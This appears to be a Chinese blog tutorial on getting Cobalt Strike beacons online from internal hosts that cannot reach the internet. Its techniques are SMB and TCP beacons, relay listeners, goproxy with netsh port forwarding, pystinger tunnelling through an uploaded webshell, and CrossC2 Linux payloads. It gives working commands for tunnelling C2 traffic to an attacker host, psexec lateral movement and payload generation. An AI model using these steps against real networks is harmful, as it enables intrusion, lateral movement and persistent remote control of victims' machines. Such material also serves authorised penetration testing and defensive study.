CS不出网各种上线姿势

0x00 SMB Beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
    
适用条件:
这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的 Listener>上线 

请添加图片描述
    

使用插件,或自带端口扫描,扫描内网机器 

请添加图片描述
    

选择其中一个网段进行扫描探针

请添加图片描述
    
请添加图片描述
    
    

转到视图,选择目标,成功显示扫描到的主机信息

请添加图片描述
    

 使用psexec 进行横向渗透

请添加图片描述
    

会话选择跟需要横向的主机在同一域内(注:使用SMB横向时需要选择高权限会话)

请添加图片描述
    
    
请添加图片描述
    
成功上线(横向成功)请添加图片描述
    
    
    
    

0x01 中转 Listener

中转listener(Reverse TCP Beacon),其实和方法一是类似的
请添加图片描述
    

然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener 

请添加图片描述
    
    
    
    

0x02 使用HTTP代理

使用goproxy项目做代理,项目地址(用goproxy做代理中转机器不需要上线即可):
https://github.com/snail007/goproxy
请添加图片描述

proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
#上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理

请添加图片描述

netsh interface portproxy add v4tov4 listenaddress=192.168.3.31 listenport=822 connectaddress=192.168.31.60 connectport=8080
#用netsh命令将访问内网ip 192.168.3.31的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.31.60的8080端口 
netsh interface portproxy show all                      #查看转发规则 
netsh interface portproxy reset                         #清除所有规则规则 

请添加图片描述
    
    

创建listener,配置如下 

请添加图片描述
    
    

 生成stageless payload

请添加图片描述
    
    

在业务服务器上执行,成功上线 

请添加图片描述
    
    

注:用了一下怎么就提示机器过期?

请添加图片描述
    
    
    
    

0x03 TCP Beacon(正向)

和SMB Beacon比较类似。也需要一个父beacon
SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些要求显式 stager的用户驱动的攻击(比如: Attacks → Packages、Attacks → Web Drive-by )
    
    

生成一个tcp beacon

请添加图片描述
    
    

使用该beacon生成一个stageless形式的木马 

请添加图片描述
    
    

请添加图片描述
    
请添加图片描述
    
    

 connect [ip address] [port]    #成功上线

请添加图片描述
    
    
    
    

0x04 pystinger 正向 Socks4a 代理

pystinger 可通过 webshell 实现ss4代理、端口映射。
由于稳定性、速度一般,不建议优先使用,在常规正向代理没法用的时候或者想在不出网的机器上C2,可以尝试。

github地址:https://github.com/FunnyWolf/pystinger
        
    

上传proxy.xxx到WEB服务器网站目录,正常访问返回UTF-8 

请添加图片描述
    
    

start stinger_server.exe 0.0.0.0  #上传stinger_server.exe到跳板机(web服务器)并执行

请添加图片描述
    
    

./stinger_client -w http://192.168.31.60/proxy.xxx -l 127.0.0.1 -p 60000   # 攻击机上执行 
RAT Config 配置: 
设置listener为127.0.0.1:60020,payload连接的是127.0.0.1:60020,相当于通过proxy.xxx将web站点的60020端口映射到攻击机本地的60020端口 
此时已经将web服务器的60020端口转发到vps(Teamserver)的60020端口上了

请添加图片描述
   
   

CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020 

请添加图片描述
 
 
请添加图片描述
 
 

使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.3.32 即可成功上线 

请添加图片描述
 
 
 
 

0x05 CrossC2 上线Linux

Cross C2是一个支持Linux & MacOS系统的拓展插件,目的就是上线Linux主机
项目地址:https://github.com/gloxec/CrossC2
 

配置CrossC2(客户端):下载主文件CrossC2.cna、genCrossC2.Win.exe(如果操作系统是Windows, 下载genCrossC2.Win.exe),然后CS安装脚本文件,并在脚本文件中设置genCrossC2.Linux的路径

请添加图片描述
 
 

 加载该插件

请添加图片描述

复制服务端上cobaltstrike目录下的 .cobaltstrike.beacon_keys到本地目录下。当然位置可以随意调,主要存在这个文件,且在生成payload的时候会寻找该文件(这里直接放在CrossC2目录)
注:因为我本地Cobalt Strike 4.4客户端运行在windows操作系统上,对应也应该下载genCrossC2.Win.exe,且.cobaltstrike.beacon_keys要在启动Teamserver服务器的时候才会生成的

请添加图片描述
 
 

创建https监听器   #CrossC2暂时只支持HTTPS的监听器

请添加图片描述
 
 

生成个payload

请添加图片描述
 
请添加图片描述
 
 
注:这里直接生成没成功,故用命令行生成了

genCrossC2.Win.exe <cobaltstrike地址><https的端口> <秘钥文件> null Linux x64 <输出路径>
genCrossC2.Win.exe 192.168.31.31 443 cobaltstrike.beacon_keys null Linux  x64 128533.cs

生成之后,上传到Linux机器,运行,即可上线 

请添加图片描述
  
 

中转机器成功上线

请添加图片描述
    
  
  
  

参考链接
https://forum.butian.net/share/1644
https://www.jianshu.com/p/75404a5e0002
https://blog.csdn.net/qq_38963246/article/details/115300897

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值